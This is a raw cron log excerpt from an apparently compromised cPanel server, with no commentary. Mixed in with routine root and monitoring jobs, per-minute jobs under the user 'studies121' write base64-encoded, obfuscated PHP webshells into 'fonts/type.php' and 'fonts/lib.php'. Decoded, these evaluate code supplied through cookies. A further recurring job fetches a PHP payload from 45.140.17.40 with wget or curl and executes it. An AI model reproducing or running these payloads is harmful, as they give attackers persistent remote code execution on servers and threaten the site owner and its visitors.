Sep  8 11:27:01 ip-184-168-122-23 CROND[9446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:27:01 ip-184-168-122-23 CROND[9447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:28:01 ip-184-168-122-23 CROND[9559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:28:01 ip-184-168-122-23 CROND[9560]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 11:28:01 ip-184-168-122-23 CROND[9562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:28:01 ip-184-168-122-23 CROND[9563]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:28:01 ip-184-168-122-23 CROND[9566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:29:01 ip-184-168-122-23 CROND[9653]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:29:01 ip-184-168-122-23 CROND[9654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:29:01 ip-184-168-122-23 CROND[9657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:29:01 ip-184-168-122-23 CROND[9658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:30:01 ip-184-168-122-23 CROND[9876]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 11:30:01 ip-184-168-122-23 CROND[9875]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 11:30:01 ip-184-168-122-23 CROND[9877]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 11:30:01 ip-184-168-122-23 CROND[9882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:30:01 ip-184-168-122-23 CROND[9885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:30:01 ip-184-168-122-23 CROND[9884]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 11:30:01 ip-184-168-122-23 CROND[9883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:30:01 ip-184-168-122-23 CROND[9887]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:31:01 ip-184-168-122-23 CROND[9989]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 11:31:01 ip-184-168-122-23 CROND[9992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:31:01 ip-184-168-122-23 CROND[9991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:31:01 ip-184-168-122-23 CROND[9993]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:31:01 ip-184-168-122-23 CROND[9994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:32:01 ip-184-168-122-23 CROND[10093]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 11:32:01 ip-184-168-122-23 CROND[10095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:32:01 ip-184-168-122-23 CROND[10100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:32:01 ip-184-168-122-23 CROND[10098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:32:01 ip-184-168-122-23 CROND[10099]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:33:01 ip-184-168-122-23 CROND[10218]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:33:01 ip-184-168-122-23 CROND[10219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:33:01 ip-184-168-122-23 CROND[10217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:33:01 ip-184-168-122-23 CROND[10220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:34:01 ip-184-168-122-23 CROND[10336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:34:01 ip-184-168-122-23 CROND[10338]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:34:01 ip-184-168-122-23 CROND[10339]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 11:34:01 ip-184-168-122-23 CROND[10341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:34:01 ip-184-168-122-23 CROND[10340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:35:02 ip-184-168-122-23 CROND[10533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:35:02 ip-184-168-122-23 CROND[10534]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:35:02 ip-184-168-122-23 CROND[10537]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 11:35:02 ip-184-168-122-23 CROND[10538]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 11:35:02 ip-184-168-122-23 CROND[10539]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 11:35:02 ip-184-168-122-23 CROND[10535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:35:02 ip-184-168-122-23 CROND[10540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:35:02 ip-184-168-122-23 CROND[10536]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 11:36:01 ip-184-168-122-23 CROND[10646]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:36:01 ip-184-168-122-23 CROND[10651]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 11:36:01 ip-184-168-122-23 CROND[10652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:36:01 ip-184-168-122-23 CROND[10650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:36:01 ip-184-168-122-23 CROND[10653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:37:01 ip-184-168-122-23 CROND[10795]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:37:01 ip-184-168-122-23 CROND[10796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:37:01 ip-184-168-122-23 CROND[10797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:37:01 ip-184-168-122-23 CROND[10798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:38:01 ip-184-168-122-23 CROND[10927]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 11:38:01 ip-184-168-122-23 CROND[10929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:38:01 ip-184-168-122-23 CROND[10930]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:38:01 ip-184-168-122-23 CROND[10931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:38:01 ip-184-168-122-23 CROND[10932]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:39:01 ip-184-168-122-23 CROND[11081]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 11:39:01 ip-184-168-122-23 CROND[11082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:39:01 ip-184-168-122-23 CROND[11083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
